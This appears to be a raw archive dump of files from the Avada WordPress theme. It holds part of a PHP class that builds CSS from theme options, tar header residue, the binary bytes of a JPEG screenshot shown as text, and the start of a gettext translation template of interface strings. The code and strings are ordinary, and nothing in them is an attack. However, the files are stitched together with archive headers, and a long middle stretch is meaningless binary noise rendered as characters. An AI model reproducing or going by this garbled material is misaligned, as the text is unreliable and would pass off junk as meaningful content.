( ! isset( $this->fields[ $field['id'] ]['css_vars'] ) || empty( $this->fields[ $field['id'] ]['css_vars'] ) ) { $this->fields[ $field['id'] ]['css_vars'] = $field['css_vars']; } else { // If we got this far, both fields have css_vars defined so we need to merge those. foreach ( $field['css_vars'] as $css_vars ) { if ( ! in_array( $css_vars, $this->fields[ $field['id'] ]['css_vars'] ) ) { // phpcs:ignore WordPress.PHP.StrictInArray $this->fields[ $field['id'] ]['css_vars'][] = $css_vars; } } } } } /** * Loops $this->fields to generate the CSS for fields. * * @access private * @since 6.0.0 * @param string $context TO/PO. * @return void */ private function generate_css_from_fields( $context ) { foreach ( $this->fields as $field ) { $this->generate_css_from_field( $field, $context ); } } /** * Generates CSS for a field and pupulates the $css_array. * * @access private * @since 6.0.0 * @param array $field The field arguments. * @param string $context TO/PO. * @return void */ private function generate_css_from_field( $field, $context = 'TO' ) { $builder_status = $this->builder_status; $id = $field['id']; // Get the value. if ( 'PO' === $context ) { $value = fusion_data()->post_meta( Avada()->fusion_library->get_page_id() )->get( $id ); // If no PO exists fallback to TO. if ( '' === $value || 'default' === $value || null === $value ) { $context = 'TO'; } } if ( 'TO' === $context ) { $value = ( isset( $this->option_value[ $id ] ) ) ? $this->option_value[ $id ] : null; if ( is_null( $value ) ) { $value = Avada()->settings->get_default( $id, false ); } if ( isset( $field['type'] ) && in_array( $field['type'], [ 'color', 'color-alpha' ], true ) && empty( $value ) ) { $value = Avada()->settings->get_default( $id, false ); } } $value = apply_filters( "generate_css_get_{$id}", $value ); // No reason to proceed if value is not set. if ( is_null( $value ) ) { return; } // No reason to proceed if $field['output'] is not an array or if $field['css_vars'] is not properly defined. if ( ( ! isset( $field['output'] ) || ! is_array( $field['output'] ) ) && ( ! isset( $field['css_vars'] ) || ! is_array( $field['css_vars'] ) ) ) { return; } // Process the 'css_vars' argument. if ( isset( $field['css_vars'] ) && is_array( $field['css_vars'] ) ) { $original_value = fusion_get_option( $id ); foreach ( $field['css_vars'] as $css_var ) { $value = $original_value; if ( isset( $css_var['choice'] ) ) { if ( is_array( $value ) && isset( $value[ $css_var['choice'] ] ) ) { // If we want a weight or style from a var family. if ( ( 'font-weight' === $css_var['choice'] || 'font-style' === $css_var['choice'] ) && isset( $value['font-family'] ) && AWB_Global_Typography()->is_typography_css_var( $value['font-family'] ) ) { $value = AWB_Global_Typography()->get_var_string( $value['font-family'], $css_var['choice'] ); } else { $value = $value[ $css_var['choice'] ]; // PO set not to be used. if ( isset( $css_var['po'] ) && false === $css_var['po'] ) { $value_combo = Avada()->settings->get( $id, $css_var['choice'] ); } else { $value_combo = fusion_get_option( $id . '[' . $css_var['choice'] . ']' ); } if ( 0 === $value_combo || '0' === $value_combo || ( $value_combo && ! empty( $value_combo ) ) ) { $value = $value_combo; } } } elseif ( ! is_string( $value ) ) { $value = Avada()->settings->get( $id, $css_var['choice'] ); } } elseif ( isset( $css_var['po'] ) && false === $css_var['po'] ) { $value = Avada()->settings->get( $id ); } if ( isset( $css_var['exclude'] ) ) { $css_var['exclude'] = (array) $css_var['exclude']; foreach ( $css_var['exclude'] as $exclusion ) { if ( $value === $exclusion ) { $value = ''; } } } // Pattern. if ( ! isset( $css_var['value_pattern'] ) ) { $css_var['value_pattern'] = '$'; } elseif ( isset( $field['type'] ) && 'slider' === $field['type'] ) { $value = (string) fusion_library()->sanitize->numeric_string( $value ); } if ( is_string( $value ) ) { $value = str_replace( '$', $value, $css_var['value_pattern'] ); } // Apply the sanitization callback if one is defined. if ( isset( $css_var['callback'] ) ) { $css_var['callback'] = (array) $css_var['callback']; if ( ! isset( $css_var['callback'][1] ) ) { $css_var['callback'][1] = ''; } if ( is_callable( 'Fusion_Panel_Callbacks::' . $css_var['callback'][0] ) ) { $value = call_user_func_array( 'Fusion_Panel_Callbacks::' . $css_var['callback'][0], [ $value, $css_var['callback'][1] ] ); } } Fusion_Dynamic_CSS::add_css_var( [ 'name' => $css_var['name'], 'value' => $value, 'element' => isset( $css_var['element'] ) ? $css_var['element'] : ':root', ] ); } } // No reason to proceed if $field['output'] is not an array. if ( isset( $field['output'] ) && is_array( $field['output'] ) ) { if ( 'media' === $field['type'] && is_array( $value ) ) { $value = ( isset( $value['url'] ) ) ? $value['url'] : ''; } // Apply filters. $field['output'] = apply_filters( "fusion_options_{$id}_output", $field['output'] ); // Loop outputs to generate the CSS for each output individually. foreach ( $field['output'] as $output ) { // No reason to proceed if empty or element is not defined. if ( empty( $output ) || ! isset( $output['element'] ) ) { continue; } // Make sure we have the right media-query. $output['media_query'] = ( ! isset( $output['media_query'] ) ) ? 'global' : $output['media_query']; // Some helpers if builder is active. if ( $builder_status ) { $elements = $output['element']; // If string but multiple selectors we need as array. if ( is_string( $elements ) && false !== strpos( $elements, ',' ) ) { $elements = explode( ',', $elements ); } if ( ! is_array( $elements ) && false !== strpos( $elements, ':hover' ) ) { $fake_hover = str_replace( ':hover', '.hover', $elements ) . ','; $output['element'] = $fake_hover . $elements; } elseif ( is_array( $elements ) ) { foreach ( $elements as $element ) { if ( false !== strpos( $element, ':hover' ) ) { $fake_hover = str_replace( ':hover', '.hover', $element ); $output['element'][] = $fake_hover; } } } } $output['element'] = Fusion_Dynamic_CSS_Helpers::get_elements_string( $output['element'] ); // If we have an exclude argument defined and the value is identical, then skip this. if ( isset( $output['exclude'] ) ) { $skip = false; if ( $value === $output['exclude'] ) { $skip = true; } if ( ! $skip && is_array( $output['exclude'] ) ) { foreach ( $output['exclude'] as $exclusion ) { if ( $value === $exclusion ) { $skip = true; } } } if ( $skip ) { continue; } } // If value is not an array then this is pretty straight-forward. if ( ! is_array( $value ) ) { if ( ! isset( $output['property'] ) ) { continue; } $value_complete = $this->calculate_value( $field, $value, $output ); if ( false === $value_complete || '' === $value_complete || null === $value_complete ) { continue; } // Add the CSS to the var. if ( 'background-image' === $output['property'] ) { if ( 'url( )' === $value_complete || 'url( )' === $value_complete || 'url()' === $value_complete ) { continue; } if ( ! isset( $this->css_array[ $output['media_query'] ][ $output['element'] ][ $output['property'] ] ) ) { $this->css_array[ $output['media_query'] ][ $output['element'] ][ $output['property'] ] = []; } $this->css_array[ $output['media_query'] ][ $output['element'] ][ $output['property'] ] = (array) $this->css_array[ $output['media_query'] ][ $output['element'] ][ $output['property'] ]; $this->css_array[ $output['media_query'] ][ $output['element'] ][ $output['property'] ][] = $value_complete; } else { $this->css_array[ $output['media_query'] ][ $output['element'] ][ $output['property'] ] = $value_complete; } continue; } // If we got this far, the value is an array so we need to go through the array // and figure out what to do with each sub-value. $value_keys = array_keys( $value ); foreach ( $value_keys as $key ) { // Get the sub-value. $sub_value = Avada()->settings->get( $id, $key ); // If no sub value, then use the default. if ( false === $sub_value || '' === $sub_value || null === $sub_value ) { $sub_value = Avada()->settings->get_default( $id, $key ); } // If 'choice' is defined, only process this specific subvalue. if ( isset( $output['choice'] ) && ! empty( $output['choice'] ) && $output['choice'] !== $key ) { continue; } // If property is not defined, use $key as the property. $property = ( ! isset( $output['property'] ) ) ? $key : $output['property']; // Make sure padding-top, margin-left etc work properly. if ( in_array( $property, [ 'margin', 'padding' ], true ) && in_array( $key, [ 'top', 'bottom', 'left', 'right' ], true ) ) { $property .= '-' . $key; } $value_complete = $this->calculate_value( $field, $sub_value, $output ); if ( empty( $value_complete ) ) { continue; } // Add the CSS to the var. if ( 'background-image' === $property ) { if ( ! isset( $this->css_array[ $output['media_query'] ][ $output['element'] ][ $property ] ) ) { $this->css_array[ $output['media_query'] ][ $output['element'] ][ $property ] = []; } $this->css_array[ $output['media_query'] ][ $output['element'] ][ $property ] = (array) $this->css_array[ $output['media_query'] ][ $output['element'] ][ $output['property'] ]; $this->css_array[ $output['media_query'] ][ $output['element'] ][ $property ][] = $value_complete; } else { $this->css_array[ $output['media_query'] ][ $output['element'] ][ $property ] = $value_complete; } } } } } /** * Calculates the value. * * Adds prefix, suffix, units, applies the value_pattern * and also any sanitization callbacks we may have. * * @access private * @since 6.0.0 * @param string $field The field. * @param string $value The value. * @param array $output The output definition. * @return string */ private function calculate_value( $field, $value, $output ) { // Make sure we've got all the arguments. $output = wp_parse_args( $output, [ 'prefix' => '', 'suffix' => '', 'units' => '', 'value_pattern' => false, 'sanitize_callback' => false, 'callback' => false, 'function' => false, ] ); // Apply the sanitization callback if one is defined. if ( $output['callback'] ) { $output['callback'] = (array) $output['callback']; if ( ! isset( $output['callback'][1] ) ) { $output['callback'][1] = ''; } if ( is_callable( 'Fusion_Panel_Callbacks::' . $output['callback'][0] ) ) { $value = call_user_func_array( 'Fusion_Panel_Callbacks::' . $output['callback'][0], [ $value, $output['callback'][1] ] ); if ( empty( $value ) ) { return ''; } } } if ( $output['sanitize_callback'] && is_callable( $output['sanitize_callback'] ) ) { $value = call_user_func( $output['sanitize_callback'], $value ); if ( false === $value || '' === $value ) { return ''; } } // Don't generate CSS if we want to change HTML or an attribute. if ( $output['function'] && 'attr' === $output['function'] || 'html' === $output['function'] ) { return ''; } // Apply the value_pattern. if ( false !== $output['value_pattern'] && is_string( $value ) ) { $value_pattern_val = str_replace( '$', $value, $output['value_pattern'] ); $value = $value_pattern_val; // Add any other values from pattern_replace. if ( isset( $output['pattern_replace'] ) && is_array( $output['pattern_replace'] ) ) { foreach ( $output['pattern_replace'] as $key => $val ) { $val = str_replace( $this->option_name, '', $val ); $val = explode( ']', $val ); foreach ( $val as $k => $v ) { if ( false === $v || '' === $v ) { unset( $val[ $k ] ); continue; } $val[ $k ] = str_replace( '[', '', $v ); } $val = array_values( $val ); if ( 1 === count( $val ) ) { $value = str_replace( $key, Avada()->settings->get( $val[0] ), $value ); continue; } $value = str_replace( $key, Avada()->settings->get( $val[0], $val[1] ), $value ); } } } // If the property is 'background-image', make sure tha value is properly formatted. if ( isset( $output['property'] ) && 'background-image' === $output['property'] ) { if ( 'media' === $field['type'] ) { if ( is_array( $value ) && isset( $value['url'] ) ) { $value = $value['url']; } $value = trim( $value ); if ( ! empty( $value ) ) { if ( false === strpos( $value, 'url(' ) ) { $value = 'url("' . $value . '")'; } } } } // If the property is 'font-family', make sure we add backup fonts as well. if ( isset( $output['property'] ) && 'font-family' === $output['property'] ) { $value = $this->dynamic_css_helpers->combined_font_family( Avada()->settings->get( $field['id'] ) ); } if ( ! is_string( $value ) || ( '0' !== $value && empty( $value ) ) ) { return; } // Return including prefix, units & suffix. return $output['prefix'] . $value . $output['units'] . $output['suffix']; } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/index.php000064400000001253152342437710007411 0ustar00 Avada/screenshot.jpg000064400000052615152342437710010460 0ustar00ExifII*DuckyKAdobed     p   !1Aa" Qq2BRbr#u3CU78ѢScs$tVD%1A!Qqa2"RB3$ ?09yX8.EWvڼ)"jDCΑUE13;C]ū670f6Eۮ*)֙ s]}BNwHiR7ni|ZO~qB76-1O /_x~ 2+I^׮4F姖8{/Z拈G?:rYػco_N>nK3Dyꧦ?ïDNvy% ){g1׏ntk$Ay~;G{w陎`SMui3rr NzeRèQ -3ݯv<^V6-ˑj=ݿv h~3jUQLLЃ+n}8=-~~:s23~U14{Ffp|o Wd[|֫gIerh*}cdZƵWUSr_m5TOJ;5DƱ,|hs8]V۾;\U86-WU"ҳXmǃd2t"WӎmkxL~|cߦj̯MbtUS6w==^v}ݩognǻMD\ĹfM^ kl<`p3q XǹU4OMq5G/ ?<;/6&ٿan8U6rSvUVr zl~.+imiY޽zsVNrLD[|&W6;{pt֛zQFw&}3>}S{r/cvmSn>iw&h4Ծ~rr>M/1Oޱ}QqWG7*?-u3$ehʳc1M{E8ƪ,](,gx߷i̍)jf+r4]V۹N40 Qz!ǭG.fhX`W˿Wz&uSG OϲnUkGîuo,QEu̙dǪ/RX.O5>Wvinn}LG\v^78ڨYxżZ(*\ w=ZvԯOɫ2|c6i.:SriHO?C Ox6=een]쫔ڳfU]sٙ[`زxa6z7OX]zihr"J&cUrn^e3f{mۥ5bEg K[vtEUG]ԋȳN4M=x[%u21f=UUD}L{U-L>c]>&m*\Oad|l4*fIs;vNo7p0⮙sM|gM13^NqOlЌ{}ՓNVF6%[D}MS(Z]Uμ{!v^^돱s۔dcUE6]ZSODS4gMc-S?5bɅ9yX8.EWvڼ)"jDCΑUE13;Bds[ȯkMZx|cY^\˓W߷8;5_j6 ~Jrn~,xCzL~᯸=mͣ، h*rbuZ|Gls;)\J+:ͬk W"b'N4WWzq}.o[^ɇEnXLSM{mj>_Ȋ~اJox;M8NOTM[fUwiumߋT5QPI8 ,{n;^^MkX+W뫫Zꎨ%5NW=x'q)iFN=7">N=ɚif?L31 -w/go&-ѹeb5|E2 妪k+bjj&'('uNUdFFճ\a٫b'n]TLL]r@>JU1A=9"wƯSTdёnz*UDtEtDDD@3Pw[{E~]E8mb.UɧMuG+v#7a=V0{vtE˙XL|zwKiNݸ>ͬY-iZlޚE٫:ܶf2vvfad۪7mMt\\ETLƓ7wRצn/ܹ7rͲ&f#"|3LnjUʁxX8ֳ1.Sz)fQ]U5S111:ă'b.->Ibs\ӷ׭m=>4޻b&oH*:۷zsrɚud\{k{_ ܪ|+5\虊zti/nb/#l0.Lu~'t7c]&lE5`jK,[=9vZuxu[*&jZgN Kc+'bݮU]T3Ef降<*f&= Zg3S_y~[[{5˝?T;ww+eTm=_X~Ӫ4h)#ibArpmfaݮEbQ1U5SU3.,Pד_.(۷¬*\l7iW1@$2zW+ٱqUrOު+4ϙ gզ8iZ=<.VO r3fg"y>2MZU:,٢g~X;F /_x~ 2+I^׮4F姖8{/Z拈G?MՇ;jmXw]W#Y1KP.\Z#fm CGKܝJ층UQOz#͘vi<}}޷>Kz9;7?"m&OA>E׹ndTkOrb/eWOU?u]jޢ.[MtU4LƓ10 ګw.MTmyյWdW)igs[V\LcnM:O۹? AxO{=kvV2)˛ܯmʚlۏ5M>Ȣ 7Yߦ'e=[31UQD[46O(75W.^rj痟V6111N7+LꪫMuUS3US:pwp<*oYmX|gMnT3?q9F5= ?mQU6hlZTukE>e3|lgٶ;b{nM,[tٱf4QE{>ب8nkfj2]]X4ֻu[j=y9_9p7rqwjuckɻnf}6 {郱Yv,aneޫE4Mꟺwۯy{{_]f͌ZƱij4\;ggɯq5=TaZUƽ4GNTN Nc'p^bX+*roWnDD]_L|SAǑw.7^wܦ++bASQoHOg7^ 18 8f",qU|clަ*EQ4ƑUBpZg3S_yOmwv^y;Ϻ[j 4]_UST{$wzfr1x:hr\-uSV٦):GOSSt Gݯ={oy%9{nj:'ʿjF庾jgO9x?08^ 콳3Ogz5A+#b!ƢnKckY*.z{)\~߽݀]{TNUsM+Ӯ>zbiVMRp'&rxeX,g˽nuv*gI9b宙g}!{6vs c]72oߦmi|Q:L{:6cU\;&:K~J8/(TSn1EDSM4ƑLFŽr-XǢMQUUO"&t^j)w#rE{Zm߯ǣOUbz\7&oު81&jYLrQMǶjtM^5!>v-da{ӧyEu\Ƶ?tܮl96wn#"h(nx۹L|^qo{w>96+ٍ/wjgm錝u0*xU{+'oOGߵ/iTO/STQϫ_i&Gf:iA|{fq zfoSfܣJH&g<۔vwqgǣw1/4Ƿ5ES An}[;UWe6%_!Tx=xtէiuS?` 7nFܮyp ?;oǪc&ȢnUDLW 86Kqgo11QtŵM#`5y;ڎlt-8D˪lYoZtHҪtg&7j8%1wC]F8DSoP5&w#]ٮ[&3:ŻmSLxiy׮OUP[m>OᲱoiM FAxOO;nxg7|.]{K7)"m, k?*oJM86fuwCnP1/n0sδƻ{]5DdEʮiݹ}Ղ3r/-Q=g[q8YW>ʮ\Ȋ'[t?TTXbE[&m113nU4G|O NE~;W,O?U~n6d~[InewӞqnQ 7qnZɻU릙"p ?]( /_x~ 2+I^׮4F姖8{/Z拈G?gݐrmvO)ǘ~0ţ{;S='ɦ8GOfLDΑ32w;{=}XM#6mj#ܭ]^Y"lvGv| zĪ|~5Ɏ|:Uys8O6]~۹U:T 3ưۘ5O-$U{Swm*\uW1ksb)P"WbXb,_̦buOn4-n蹉z7dTMUO\W{:fPP~Wގrv[m[GTե;~617[TSTA&~M]绛<ՃglT|n͹fcITG̦Aj>Ͳ s7b[}ZN^uY~TV"/w[_U۵xQjVQn};Wپweg_޳&mtcS/޹4۷N5F Ħ+N~|<|5hy38\hDksqb"q#Oy&wس Wgg;y3UsOU33o|)2 @ k?&r^W]MS;uڢLN5M:y9&}7VQ?~&pb'+Iko̮OtSb_Zg3S_y~~aͳ ³bq;rlrZW4h\|fՉdf' EW*("b5D@%hXwx+mȈ횮~:sQf6 w#jܬ*in4u}q3Ǥ0L l6v]fs&DSmŠS6}ۏn{{nv`[4nUMTi10 ku9@P^V6-ˑj=ݿv h~3jUQLLЃ+n}8=-~~:s23~U14=+swΚQF-q3W:Svi:'gԝ}w;P<%®m:w ƓQgOzcV笻iY_c>=Q %.ssnugl}6|kū_*WISwywEy~Iޟ&H,#Nr 6ZhMj&}]SL^q7,1rhT-񽫖loXߑf>Uo[IkMQ kzt5mV{馞/oDDv]@`YF1wer|x7n[ҋkNWTU:p+\g?sӇsqNTi\dgMTQTin[b}S o'❸ᶮLbYj'nmlY3v]zy{G1ѹr M}̦|Yi\xZO"<='N)voWוmvS?\^L@S.w_WO ׅ^|j<܋M[Q3]c:1Uو(t9_g7;۫kx"zp2mSLuUZ?F@,hżCsltFEVk۳\_| LF~qwkN=ul[v6kUӮŋu\kuw3ynMr϶~d}==<^Nn5"sUDtr~⚣An SS8Sȷji&hʮc ku9@P~eՃ︘N,Mj*fjE34ngc۝*"|]ռm;,fٶs/cܦ:鮓4)*bulۻE֙czeiR7ni|ZO~qB76-!olzâ,X)#N}^gyjժf+i5TonޮMv÷qN-zgp&Y*fMukOMRݰJ[N5k[.]:+Ȝ^A+"jb|&$Yy]ĭX[uun^kVݕ]UQn&g]lZ_h0 YĹ_ ༛lW2w-n'I&=1>K]} f[M66\f]؍<+tkS:$0n}j{ȱkSN>5fu]?ɧHXSe76)]Z\^NDS3Or"5)  ADn{{:.nwkEin>ɪQ3ES>LD骚蘪&ufvmլ7+ǹS̱acg&֋TJjUSKY90WآnU:SMGUS3DCΏ5UƳ qyuq7E^j}v {qn4Lk?fz\;&oު81ȸ?9oemeeUXueji LK9(rfpminu^1e+x{!cn(Hu \Z,[)n.8!Ǟr^*UDO3҉cmsN=s?$VJN71*˟Ӣ~?jw5<:'Cls?.MY@Ayۮn07 ?:1ɦoVGA^v7nd9ܛ]#_dDդG(z؋_ƫrjitN=wi.G8v.nMc^{:׆]&tu}DH(;}>~Sj3vlziiɱ3zs-rq]gIOW7+wwp3pjfumL{'޿x, en;Ӷcl7jٷ8YuuUWm>7p+k`qUƗ[**\yUtϾf?} +ݪ.M8{ՉFM1WD+w){$[.?z(֬|zbz#Z}:TEQ1ecp'dq3oWf1WU|$Oezڰ)ֺb"2v{H<?kN*yr.7?l4¹]MlDLyVQO] m~J&_F4tcJ(j* wγ^>N5uȱrw-4MTόLLi1 G6ll-s˚'/VM̢j'@}[]<4fG轤GNjV8U]K_y'K7w&fޘbb*f$)c潧幼]ݣyطtinfiƚ陉4 n?pJvnXGMMTQr"fY5n92.N/ޮ*jfd^+Z |uQ;v=S~>j<=w+FvOO1ܣJ,:}6* ucՉ~剻fη\ۘ}>_EyǥoW.ylmm֮'gYu!oԣNۚi2rjf;KUQ~[1(wl4]WU3 ÐU!OmypwfǦ|Tnc\4xUƈfwTފqMlkoMW)i㪙&%f*cirZ_l2܍qwpĵEۗcWSgK7)NtGn1]⻯㛅]vUMj֖:h>5784_H};YyF%]V橫ʽnfkfzfbi֭B?I[8N߬ed՟>MשY:Cw;r囏$-02)k,yޘQNӤkLk `{۝mzn1/]fҫw:܊kXX7tgi+ ػ;}|nm4cZ{O2sTܻvr>e ]|qVw[sUxdܪ4~rt*(*̛]fS3gn߱|ʩ"rfă^IꬮUƨ?]=8Tn.}%xϕkp.qD_c1꫽vg\A7xOݶKl&чX÷Q]SV5uLWdK?ӓwǓewnqNK3swǽbom窊&+roOTR#{u/.]܉_-߳DNǐY/lد_ؖqr2/ܦ:uWTDF>:DDG"#00>7}{oʪ&^%UV2-7(b&b*HꉀB"\ɹy6lU36#ӯ\J")85FVUqoDS;aVeǻ\E}lW+کn~ +D2!d^;F\ڣ#kUuS]AzdUO<{6U1Eڳ}4ZɈWi]ɿDybbk'>|DF$GߤdvWb>޵񝮽ېקoSo|-Zh*|}A[ ׋Utƚhɢ&)b"&bbbbbf&^\mһ|Gl[F9VleSpѷk>urZI\+ķ66oZVzܻ_Utzb#__K+MYqi14MuVQ|[tF=dSQW49qvȏ[O"j^Ʌ6l^6g~cuܱ+Ţ:qW*j=:ikbE_bz皨ۺu '"=ܼ՛UrʧJif~Ȉ|檢v71ι~ 3nW[x[q1?fz\;*r/U_ eYpetU\Ʈc\qE3M2ٷr+omN=syp_McopmQED5Rv駶շZW'[n6hv舦)b<""#+,DDig\Ͽθ<ߢ7lTܦmW=Wx/uޤT7ƺ| O鯜8mά͗OOx_/:SWyк_kӝ}<" Mo3q-\oYwi*c%b&4giKܦ'L߱~QoU|c`tnQU ٓ7tSC$aڎ :&%;32vN8{͋revh&&lSjvK6b= +wk]1j*ֹn1NSFK]3:"}}#qZoQ߷Ǔ(nsm{v?q{w;'r+ɷU{.6i-n msgid "" msgstr "" "Project-Id-Version: Avada 7.14.2\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/theme/Avada\n" "POT-Creation-Date: 2025-12-18 13:55:57+00:00\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" "PO-Revision-Date: 2025-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME \n" "Language-Team: LANGUAGE \n" "X-Generator: grunt-wp-i18n 1.0.4\n" #: includes/metaboxes/tabs/tab_template.php:256 msgid "404" msgstr "" #: 404.php:20 msgid "Oops, This Page Could Not Be Found!" msgstr "" #: 404.php:30 msgid "Helpful Links" msgstr "" #: 404.php:97 msgid "Search Our Website" msgstr "" #: 404.php:98 msgid "Can't find what you need? Take a moment and do a search below!" msgstr "" #: bbpress/form-search.php:13 includes/class-avada-layout-bbpress.php:142 #: includes/lib/inc/class-fusion-searchform.php:77 msgid "Search for:" msgstr "" #: bbpress/form-search.php:16 includes/class-avada-layout-bbpress.php:145 msgid "Search the Forum..." msgstr "" #: bbpress/form-search.php:19 includes/avada-functions.php:759 #: includes/class-avada-layout-bbpress.php:148 #: includes/class-avada-megamenu-framework.php:309 #: includes/lib/inc/class-fusion-searchform.php:86 #: includes/lib/inc/fusion-app/helpers.php:247 #: includes/lib/inc/redux/custom-fields/iconpicker/field_iconpicker.php:55 #: includes/metaboxes/tabs/tab_template.php:255 includes/options/header.php:437 #: includes/options/search.php:38 msgid "Search" msgstr "" #: bbpress/loop-search-reply.php:38 msgid "In reply to: " msgstr "" #: bbpress/loop-search-topic.php:44 msgid "Topic: " msgstr "" #: bbpress/loop-search-topic.php:49 msgid "in group forum " msgstr "" #: bbpress/loop-search-topic.php:53 msgid "in forum " msgstr "" #: bbpress/loop-single-reply.php:44 msgid "in reply to: " msgstr "" #: comments.php:32 msgid "No Comments" msgstr "" #: comments.php:32 msgid "One Comment" msgstr "" #: comments.php:32 msgid "% Comment" msgid_plural "% Comments" msgstr[0] "" msgstr[1] "" #: comments.php:46 includes/admin-screens/setup.php:174 #: includes/admin-screens/setup.php:407 #: includes/class-avada-layout-bbpress.php:224 #: includes/class-avada-layout-bbpress.php:249 #: includes/class-avada-layout-bbpress.php:271 #: includes/class-avada-woocommerce.php:872 #: includes/lib/inc/class-fusion-scripts.php:593 #: includes/lib/inc/functions.php:1096 #: includes/lib/inc/fusion-app/helpers.php:577 single-wpfc_sermon.php:21 #: single.php:20 msgid "Previous" msgstr "" #: comments.php:47 includes/admin-screens/setup.php:175 #: includes/admin-screens/setup.php:408 #: includes/class-avada-layout-bbpress.php:225 #: includes/class-avada-layout-bbpress.php:250 #: includes/class-avada-layout-bbpress.php:272 #: includes/class-avada-woocommerce.php:873 #: includes/lib/inc/class-fusion-scripts.php:592 #: includes/lib/inc/functions.php:1142 #: includes/lib/inc/fusion-app/helpers.php:578 single-wpfc_sermon.php:22 #: single.php:21 msgid "Next" msgstr "" #: comments.php:60 msgid "Comments are closed." msgstr "" #: comments.php:69 msgid "Name (required)" msgstr "" #: comments.php:69 includes/avada-app/class-fusion-panel.php:708 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:710 #: templates/wc-catalog-ordering.php:61 templates/wc-catalog-ordering.php:97 msgid "Name" msgstr "" #: comments.php:70 msgid "Email (required)" msgstr "" #: comments.php:70 includes/lib/inc/class-fusion-social-icon.php:216 #: includes/metaboxes/tabs/tab_form_notifications.php:89 #: includes/options/social_media.php:845 msgid "Email" msgstr "" #: comments.php:78 msgid "Website" msgstr "" #: comments.php:78 includes/class-avada-nav-walker-megamenu.php:176 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:174 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:228 #: includes/metaboxes/tabs/tab_form_submission.php:141 msgid "URL" msgstr "" #: comments.php:80 msgid "" "Save my name, email, and website in this browser for the next time I " "comment." msgstr "" #: comments.php:85 msgid "Comment" msgstr "" #: comments.php:85 msgid "Comment..." msgstr "" #: comments.php:86 comments.php:87 msgid "Leave A Comment" msgstr "" #: comments.php:91 #. translators: Opening and closing link tags. msgid "You must be %1$slogged in%2$s to post a comment." msgstr "" #: comments.php:93 #. translators: %1$s: The username. %2$s and %3$s: Opening and closing link #. tags. msgid "Logged in as %1$s. %2$sLog out »%3$s" msgstr "" #: comments.php:93 msgid "Log out of this account" msgstr "" #: comments.php:97 msgid "Post Comment" msgstr "" #: footer.php:70 msgid "Page load link" msgstr "" #: header.php:42 msgid "Skip to content" msgstr "" #: includes/admin-screens/dashboard.php:51 includes/admin-screens/setup.php:36 #. translators: %s: The username. #. translators: %s: user name msgid "Welcome To Avada, %s!" msgstr "" #: includes/admin-screens/dashboard.php:52 msgid "Launch the Avada setup wizard, the easiest way to get your website started." msgstr "" #: includes/admin-screens/dashboard.php:55 #. translators: %s: The username. msgid "Hello %s!" msgstr "" #: includes/admin-screens/dashboard.php:56 msgid "Welcome back to the Avada dashboard. Take a look at our latest update." msgstr "" #: includes/admin-screens/dashboard.php:71 #. translators: %s: version number. msgid "What’s New In Avada %s" msgstr "" #: includes/admin-screens/dashboard.php:74 #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:112 msgid "Get Started" msgstr "" #: includes/admin-screens/dashboard.php:79 #: includes/admin-screens/dashboard.php:84 includes/admin-screens/setup.php:40 #: includes/admin-screens/setup.php:74 includes/admin-screens/setup.php:79 msgid "Avada Welcome Image" msgstr "" #: includes/admin-screens/dashboard.php:95 msgid "Avada Resources" msgstr "" #: includes/admin-screens/dashboard.php:98 #: includes/class-avada-tgm-plugin-activation.php:2341 msgid "Recommended" msgstr "" #: includes/admin-screens/dashboard.php:110 #. translators: Item price. msgid "Only %s - Buy Now" msgstr "" #: includes/admin-screens/dashboard.php:114 #. translators: Item price. msgid "On Sale - Only %s" msgstr "" #: includes/admin-screens/dashboard.php:119 #: includes/admin-screens/dashboard.php:132 msgid "Buy Another License" msgstr "" #: includes/admin-screens/dashboard.php:125 msgid "Sale" msgstr "" #: includes/admin-screens/dashboard.php:128 #: includes/class-avada-migrate.php:387 #: includes/class-fusion-builder-migrate.php:843 msgid "Avada Logo" msgstr "" #: includes/admin-screens/dashboard.php:135 msgid "" "Buy another license of the Avada Website Builder for your next project. " "Streamline your work and save time for the more important things." msgstr "" #: includes/admin-screens/dashboard.php:142 #: includes/admin-screens/dashboard.php:160 msgid "Discount" msgstr "" #: includes/admin-screens/dashboard.php:145 #: includes/admin-screens/dashboard.php:163 msgid "WPEngine Logo" msgstr "" #: includes/admin-screens/dashboard.php:149 msgid "Avada Hosting" msgstr "" #: includes/admin-screens/dashboard.php:152 msgid "" "Launch your site in seconds on WP Engine who offer optimized hosting for " "the Avada Website Builder." msgstr "" #: includes/admin-screens/dashboard.php:153 msgid "Enjoy 4 months free!" msgstr "" #: includes/admin-screens/dashboard.php:156 #: includes/admin-screens/dashboard.php:173 msgid "Get Special Offer" msgstr "" #: includes/admin-screens/dashboard.php:167 msgid "Avada Special Hosting" msgstr "" #: includes/admin-screens/dashboard.php:170 msgid "" "We have partnered with SiteGround to bring you full-service WordPress " "hosting. Sign up and have Avada installed and activated for you with one " "click." msgstr "" #: includes/admin-screens/dashboard.php:180 msgid "Codeable Logo" msgstr "" #: includes/admin-screens/dashboard.php:184 msgid "Avada Customization" msgstr "" #: includes/admin-screens/dashboard.php:187 msgid "" "We work with Codeable who offers amazing customization services. They are " "equipped to handle both large and small customization jobs." msgstr "" #: includes/admin-screens/dashboard.php:190 msgid "Get Free Quote" msgstr "" #: includes/admin-screens/dashboard.php:198 msgid "Avada Integrations" msgstr "" #: includes/admin-screens/dashboard.php:201 msgid "Premium Additions" msgstr "" #: includes/admin-screens/dashboard.php:209 msgid "HubSpot Logo" msgstr "" #: includes/admin-screens/dashboard.php:213 msgid "CRM, Marketing & Sales" msgstr "" #: includes/admin-screens/dashboard.php:216 msgid "" "HubSpot offers a full stack of software for marketing, sales, and also " "customer service, with a completely free CRM at its core. Grow now!" msgstr "" #: includes/admin-screens/dashboard.php:219 msgid "WP Marketing" msgstr "" #: includes/admin-screens/dashboard.php:226 msgid "WPML Logo" msgstr "" #: includes/admin-screens/dashboard.php:230 msgid "Multilingual Sites" msgstr "" #: includes/admin-screens/dashboard.php:233 msgid "" "WPML makes it easy to build multilingual sites and run them. It's powerful " "enough for corporate sites, yet simple for blogs." msgstr "" #: 